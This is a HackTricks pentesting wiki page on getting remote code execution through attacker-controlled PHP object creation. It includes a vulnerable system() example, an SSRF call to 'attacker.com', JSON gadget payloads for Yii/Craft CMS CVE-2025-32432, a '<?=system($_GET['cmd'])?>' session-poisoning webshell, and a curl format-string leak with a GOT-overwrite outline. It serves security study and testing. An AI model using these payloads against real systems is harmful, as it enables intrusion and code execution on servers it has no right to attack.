php-rce-abusing-object-creation-new-usd-get-a-usd-get-b.md (11285B)
1 --- 2 title: "PHP - RCE abusing object creation: new $GET[\"a\"]($GET[\"b\"])" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) 14 15 This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)<sup>[[1]](#references)</sup> 16 17 ## Introduction 18 19 The creation of new arbitrary objects, such as `new $_GET["a"]($_GET["b"])`, can lead to Remote Code Execution (RCE), as detailed in a [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). This document highlights various strategies for achieving RCE.<sup>[[1]](#references)</sup> 20 21 ## RCE via Custom Classes or Autoloading 22 23 The syntax `new $a($b)` is used to instantiate an object where **`$a`** represents the class name and **`$b`** is the first argument passed to the constructor. These variables can be sourced from user inputs like GET/POST, where they may be strings or arrays, or from JSON, where they might present as other types.<sup>[[1]](#references)</sup> 24 25 Consider the code snippet below: 26 27 ```php 28 class App { 29 function __construct ($cmd) { 30 system($cmd); 31 } 32 } 33 34 class App2 { 35 function App2 ($cmd) { 36 system($cmd); 37 } 38 } 39 40 $a = $_GET['a']; 41 $b = $_GET['b']; 42 43 new $a($b); 44 ``` 45 46 In this instance, setting `$a` to `App` and `$b` to a system command (for example, `uname -a`) executes that command. `App2` demonstrates PHP's legacy same-name constructor: it is deprecated in PHP 7 and is not treated as a constructor in PHP 8, so that branch is version-specific.<sup>[[1]](#references)[[7]](#references)</sup> 47 48 **Autoloading functions** can be exploited if no such classes are directly accessible. These functions automatically load classes from files when needed and can be defined with `spl_autoload_register`; the example also retains legacy `__autoload`, which was deprecated in PHP 7.2 and removed in PHP 8.0.<sup>[[1]](#references)[[8]](#references)[[9]](#references)</sup> 49 50 ```php 51 spl_autoload_register(function ($class_name) { 52 include './../classes/' . $class_name . '.php'; 53 }); 54 55 function __autoload($class_name) { 56 include $class_name . '.php'; 57 }; 58 59 spl_autoload_register(); 60 ``` 61 62 The behavior of autoloading varies with PHP versions, offering different RCE possibilities.<sup>[[1]](#references)</sup> 63 64 ## RCE via Built-In Classes 65 66 Lacking custom classes or autoloaders, **built-in PHP classes** may suffice for RCE. The number of these classes ranges between 100 to 200, based on PHP version and extensions. They can be listed using `get_declared_classes()`.<sup>[[1]](#references)</sup> 67 68 Constructors of interest can be identified through the reflection API, as shown in the following example and the link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).<sup>[[1]](#references)</sup> 69 70 **RCE via specific methods includes:** 71 72 ### **SSRF + Phar Deserialization** 73 74 The `SplFileObject` constructor can provide an SSRF primitive when the requested stream wrapper is enabled; HTTP/FTP URL wrappers also depend on `allow_url_fopen`.<sup>[[1]](#references)</sup> 75 76 ```php 77 new SplFileObject('http://attacker.com/'); 78 ``` 79 80 Before PHP 8.0, filesystem operations on a `phar://` URL could automatically deserialize Phar metadata and turn SSRF/file-operation primitives into object injection. PHP 8.0 stopped automatic metadata unserialization, so later versions require an explicit `Phar::getMetadata()` path or another gadget.<sup>[[1]](#references)[[9]](#references)</sup> 81 82 ### **Exploiting PDOs** 83 84 The PDO class constructor allows connections to databases via DSN strings, potentially enabling file creation or other interactions:<sup>[[1]](#references)</sup> 85 86 ```php 87 new PDO("sqlite:/tmp/test.txt") 88 ``` 89 90 ### **SoapClient/SimpleXMLElement XXE** 91 92 Versions of PHP up to 5.3.22 and 5.4.12 were susceptible to XXE attacks through the `SoapClient` and `SimpleXMLElement` constructors, contingent on the version of libxml2.<sup>[[1]](#references)</sup> 93 94 ## RCE via Imagick Extension 95 96 In the analysis of a **project's dependencies**, it was discovered that **Imagick** could be leveraged for **command execution** by instantiating new objects. This presents an opportunity for exploiting vulnerabilities.<sup>[[1]](#references)</sup> 97 98 ### VID parser 99 100 The VID parser capability of writing content to any specified path in the filesystem was identified. This could lead to the placement of a PHP shell in a web-accessible directory, achieving Remote Code Execution (RCE).<sup>[[1]](#references)</sup> 101 102 #### VID Parser + File Upload 103 104 It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The VID parser in Imagick, utilizing the **msl** protocol, can handle wildcards in file paths, facilitating the transfer of the temporary file to a chosen location. This method offers an additional approach to achieve arbitrary file writing within the filesystem.<sup>[[1]](#references)</sup> 105 106 ### PHP Crash + Brute Force 107 108 A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.<sup>[[1]](#references)</sup> 109 110 ## Yii / Craft CMS config-array object creation 111 112 Craft CMS CVE-2025-32432 is a good real-world example of a broader Yii abuse pattern: if attacker-controlled arrays reach a Yii constructor or `Yii::createObject()`-style sink, **behavior attachment and class selection can become an object-instantiation primitive**.<sup>[[3]](#references)[[4]](#references)</sup> 113 114 Two config features are especially interesting:<sup>[[3]](#references)[[5]](#references)</sup> 115 116 - `as <name>` attaches a behavior, so nested arrays are treated as object configs. 117 - In vulnerable Yii 2 builds before **2.0.52**, `__class` can take precedence over a validated `class`, so checking only `class` is bypassable. 118 119 Minimal pattern: 120 121 ```json 122 { 123 "as session": { 124 "class": "safe\ExpectedBehavior", 125 "__class": "GuzzleHttp\Psr7\FnStream", 126 "__construct()": [[]], 127 "_fn_close": "phpinfo" 128 } 129 } 130 ``` 131 132 If `phpinfo()` runs when the object is closed or destroyed, you have confirmed **arbitrary Yii class instantiation plus callable control** without needing a full RCE chain.<sup>[[3]](#references)</sup> 133 134 ### `yii\rbac\PhpManager` as a file-evaluation gadget 135 136 `yii\rbac\PhpManager` expects `itemFile` to point to a **PHP script** containing authorization items. If you can instantiate it with controlled constructor data, you can turn **any readable attacker-influenced PHP file** into code execution:<sup>[[3]](#references)[[6]](#references)</sup> 137 138 ```json 139 { 140 "as exploit": { 141 "class": "safe\ExpectedBehavior", 142 "__class": "yii\rbac\PhpManager", 143 "__construct()": [{ 144 "itemFile": "/var/lib/php/sessions/sess_<PHPSESSID>" 145 }] 146 } 147 } 148 ``` 149 150 Useful file sources include: 151 152 - File-based PHP sessions such as `/var/lib/php/sessions/sess_<PHPSESSID>` 153 - Web / PHP error logs 154 - Uploaded files or predictable temporary files 155 156 ### Pre-auth redirect/session poisoning 157 158 A practical way to create the PHP file is to hit a **protected route before login**. Many frameworks remember the full requested URL in the session so they can redirect the user after authentication. If query-string data is copied verbatim into a file-backed session, injecting PHP such as `<?=system($_GET['cmd'])?>` can turn the session file into a predictable code container.<sup>[[3]](#references)</sup> 159 160 To exploit this reliably:<sup>[[3]](#references)</sup> 161 162 1. Obtain or create a valid session ID. 163 2. Poison the same session with PHP syntax via a pre-auth redirect/cache/session feature. 164 3. Reuse that exact session ID when triggering the `PhpManager` gadget, or the wrong file will be loaded. 165 4. If the endpoint crashes with `500` after execution, verify with a side channel such as `ping`, DNS, or HTTP callbacks instead of waiting for command output. 166 167 ## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) 168 169 When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds).<sup>[[2]](#references)</sup> 170 171 Minimal repro vulnerable pattern: 172 173 ```php 174 <?php 175 $model = $_GET['model']; 176 $object = new $model(); 177 ``` 178 179 Exploitation outline (from the reference):<sup>[[2]](#references)</sup> 180 - Leak addresses via `%p` in the class name to find a writable target: 181 ```bash 182 curl "http://host/index.php?model=%p-%p-%p" 183 # Fatal error includes resolved string with leaked pointers 184 ``` 185 - Use positional parameters and width specifiers to set an exact byte-count, then `%n` to write that value to an address reachable on the stack, aiming at a GOT slot (e.g., `free`) to partially overwrite it to `system`. 186 - Trigger the hijacked function by passing a class name containing a shell pipe to reach `system("id")`. 187 188 Notes:<sup>[[2]](#references)</sup> 189 - Works only on PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); fixed in subsequent releases. Severity: critical if arbitrary class instantiation exists. 190 - Typical payloads chain many `%p` to walk the stack, then `%.<width>d%<pos>$n` to land the partial overwrite. 191 192 ## References 193 194 - [1] [Exploiting Arbitrary Object Instantiations in PHP without Custom Classes](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) 195 - [2] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) 196 - [3] [0xdf - Hack The Box Orion: Craft CMS CVE-2025-32432 RCE and inetd/Telnet Root Authentication Bypass](https://0xdf.gitlab.io/2026/07/14/htb-orion.html) 197 - [4] [Craft CMS and CVE-2025-32432](https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432) 198 - [5] [Yii 2.0.52 security advisory](https://www.yiiframework.com/news/709/please-upgrade-to-yii-2-0-52) 199 - [6] [Yii `yii\rbac\PhpManager` API docs](https://www.yiiframework.com/doc/api/2.0/yii-rbac-phpmanager) 200 - [7] [PHP manual - Constructors and Destructors](https://www.php.net/manual/en/language.oop5.decon.php) 201 - [8] [PHP manual - Autoloading Classes](https://www.php.net/manual/en/language.oop5.autoload.php) 202 - [9] [PHP 8 migration guide - Backward incompatible changes](https://www.php.net/manual/en/migration80.incompatible.php)